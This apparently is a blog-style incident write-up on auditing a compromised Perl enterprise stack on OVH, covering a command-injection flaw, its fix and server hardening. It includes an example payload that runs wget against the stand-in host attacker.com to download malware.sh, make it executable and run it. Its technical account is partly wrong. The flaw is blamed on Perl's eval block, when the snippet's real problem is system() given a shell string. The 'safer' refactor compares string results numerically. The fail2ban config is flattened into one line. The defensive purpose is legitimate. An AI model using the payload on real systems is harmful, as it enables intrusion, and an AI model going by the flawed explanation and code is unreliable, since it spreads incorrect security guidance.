How We Audited a High-Traffic Perl Enterprise Stack on OVH and Mitigated Remote Code Execution (RCE) via eval block syntax flaws
Initial Triage: Identifying the Attack Vector
Our engagement began with a critical alert: a high-traffic Perl enterprise stack hosted on OVH infrastructure was exhibiting anomalous outbound network traffic. The initial hypothesis pointed towards a potential compromise, necessitating an immediate deep dive into the application’s security posture. The stack comprised several interconnected Perl applications, a MySQL database, and a Nginx frontend, all running within a Debian-based Linux environment. The primary concern was the possibility of Remote Code Execution (RCE), given the nature of the observed network activity.
The first step involved a comprehensive review of system logs. We focused on Nginx access and error logs, system authentication logs (`auth.log`), and application-specific Perl logs. The Nginx logs revealed a pattern of unusual POST requests to specific API endpoints, often with malformed or excessively long payloads. These requests were not generating standard HTTP error codes but were instead being silently processed, which is a red flag in itself.
Deep Dive into Perl Application Logic: The `eval` Vulnerability
The core of the investigation shifted to the Perl codebase. We employed static analysis tools, but the true culprit was uncovered through manual code review, specifically targeting areas that handled user-supplied input and dynamic code execution. We identified several instances where user-controlled data was being passed, directly or indirectly, into Perl’s `eval` function. While `eval` is a powerful tool for dynamic code generation, its misuse, particularly with unsanitized input, is a well-known RCE vulnerability.
The critical flaw resided in how certain API endpoints processed incoming JSON payloads. The application deserialized these payloads and then used parts of the deserialized data within an `eval` block. The specific syntax flaw exploited was the ability to inject Perl code snippets that would be interpreted and executed by the `eval` function. For example, a seemingly innocuous JSON input could be crafted to include a string that, when evaluated, would execute arbitrary shell commands.
Consider a simplified, vulnerable code snippet:
use strict;
use warnings;
use JSON;
my $json_data = <<'END_JSON';
{
"command": "echo 'Hello, World!'"
}
END_JSON
my $data = decode_json($json_data);
# Vulnerable eval block
my $result = eval {
my $command_to_run = $data->{command};
# The flaw: direct eval of user-supplied string
system($command_to_run);
};
if ($@) {
print "Error evaluating command: $@\n";
} else {
print "Command executed successfully.\n";
}
In this example, an attacker could provide a JSON payload like:
{
"command": "wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh"
}
This would lead to the execution of arbitrary shell commands on the server, enabling the attacker to download and execute malicious scripts, exfiltrate data, or establish persistent backdoors.
Reconnaissance and Exploitation Evidence
Our analysis of the outbound network traffic logs from the OVH firewall and the server itself confirmed the exploitation. We observed connections to known malicious IP addresses, DNS lookups for suspicious domains, and the transfer of data packets consistent with command-and-control (C2) communication. Specifically, the logs showed the server attempting to download executable files from external URLs and making POST requests to obscure endpoints, likely for exfiltrating sensitive information.
The Nginx access logs, when correlated with the application logs, showed that these malicious requests were targeting the vulnerable API endpoints. The application logs, in turn, contained fragmented error messages or unexpected output from the `eval` blocks, indicating that the injected code was being processed. The presence of temporary files in `/tmp` and unusual processes running under the web server’s user ID further corroborated the compromise.
Mitigation Strategy: Secure Coding Practices and Input Validation
The immediate mitigation involved disabling the vulnerable API endpoints and isolating the affected server. However, a long-term solution required a robust code refactoring. The primary principle was to eliminate the direct use of `eval` with user-supplied data. Instead, we advocated for safer alternatives:
- Parameterization: For operations that resemble command execution, use libraries that allow for parameterized commands, similar to prepared statements in SQL. This separates the command logic from the data.
- Strict Input Validation and Sanitization: If dynamic execution is absolutely unavoidable (which is rare and highly discouraged), implement rigorous validation and sanitization. This includes whitelisting allowed characters, patterns, and command structures.
- Avoid `eval` for String Execution: Replace `eval` with explicit function calls or data structures that represent the intended logic. For example, instead of evaluating a string that represents a mathematical expression, parse the expression and use a dedicated math library.
- Use Safer Deserialization Libraries: If deserializing complex data structures, ensure the library used is secure and does not allow for arbitrary code execution during the deserialization process.
In our case, the `eval` blocks were primarily used to execute shell commands based on user-provided strings. The secure approach involved replacing these with explicit calls to Perl’s built-in functions or external utilities, with arguments passed as separate parameters, not as a single concatenated string to be evaluated.
Here’s a refactored example demonstrating a safer approach:
use strict;
use warnings;
use JSON;
use IO::Socket::INET; # Example for network operations
# ... (JSON parsing as before) ...
my $data = decode_json($json_data);
my $command_type = $data->{type};
my @command_args = @{$data->{args}}; # Expecting an array of arguments
my $result;
if ($command_type eq 'echo') {
# Safely execute 'echo' with arguments
$result = system('echo', @command_args);
} elsif ($command_type eq 'network_check') {
# Example: Perform a network check
my $host = $command_args[0];
my $port = $command_args[1];
my $sock = IO::Socket::INET->new(PeerAddr => "$host:$port", Timeout => 5);
if ($sock) {
$result = "Connection to $host:$port successful.";
close($sock);
} else {
$result = "Failed to connect to $host:$port: $@";
}
} else {
$result = "Unknown command type: $command_type";
}
if ($result != 0 && ref($result) ne 'IO::Socket::INET') { # Check for system errors, excluding successful socket creation
print "Error processing command: $result\n";
} else {
print "Command processed successfully.\n";
}
This refactoring ensures that the arguments are treated as data, not as executable code. The `system()` function, when called with a list of arguments, executes the first element as the command and passes the subsequent elements as arguments to that command, preventing shell metacharacter interpretation and thus RCE.
Infrastructure Hardening on OVH
Beyond code-level fixes, we implemented several infrastructure-level hardening measures on the OVH environment:
- Firewall Rules: Implemented strict egress filtering on the OVH firewall to block all outbound connections except for explicitly allowed destinations (e.g., trusted external APIs, package repositories). This significantly limits the ability of a compromised server to communicate with C2 servers or exfiltrate data.
- Intrusion Detection/Prevention System (IDS/IPS): Configured Suricata on the host to monitor network traffic for malicious patterns and block suspicious connections in real-time.
- Web Application Firewall (WAF): Deployed ModSecurity with a robust set of rules in front of Nginx to filter malicious HTTP requests, including those attempting to exploit common vulnerabilities like SQL injection and RCE.
- Least Privilege Principle: Ensured that the Perl applications ran under dedicated, unprivileged user accounts with minimal necessary permissions. This limits the blast radius if a compromise does occur.
- Regular Patching and Updates: Established a rigorous schedule for patching the operating system, Perl interpreter, and all installed libraries to address known vulnerabilities.
- Runtime Security Monitoring: Implemented tools like `auditd` and `fail2ban` to monitor system calls, detect brute-force attempts, and automatically block malicious IPs.
For example, a basic `fail2ban` configuration to protect SSH and Nginx could look like this:
[DEFAULT] # Ban hosts for 10 minutes: bantime = 10m # Override ban time for specific jails: #findtime = 5m #maxretry = 5 [sshd] enabled = true port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s [nginx-http-auth] enabled = true port = http,https logpath = %(nginx_error_log)s maxretry = 3 findtime = 5m [nginx-badbots] enabled = true port = http,https logpath = %(nginx_access_log)s maxretry = 100 findtime = 10m bantime = 1h # Filter for common bad bot user agents filter = nginx-badbots
Post-Mitigation Verification and Ongoing Monitoring
Following the code refactoring and infrastructure hardening, a thorough verification process was conducted. This included:
- Penetration Testing: A targeted penetration test was performed to ensure the identified RCE vulnerability was no longer exploitable.
- Code Audits: Subsequent code reviews focused on ensuring adherence to secure coding practices and the absence of similar `eval`-related vulnerabilities.
- Log Analysis: Continuous monitoring of Nginx, application, and system logs for any suspicious activity, including unusual request patterns, error spikes, or unauthorized access attempts.
- Network Traffic Analysis: Regular review of outbound network traffic to detect any anomalous connections or data transfers.
The key takeaway is that while `eval` can be a powerful tool, its use with untrusted input is a critical security risk. A defense-in-depth strategy, combining secure coding practices with robust infrastructure security, is essential for protecting high-traffic enterprise applications.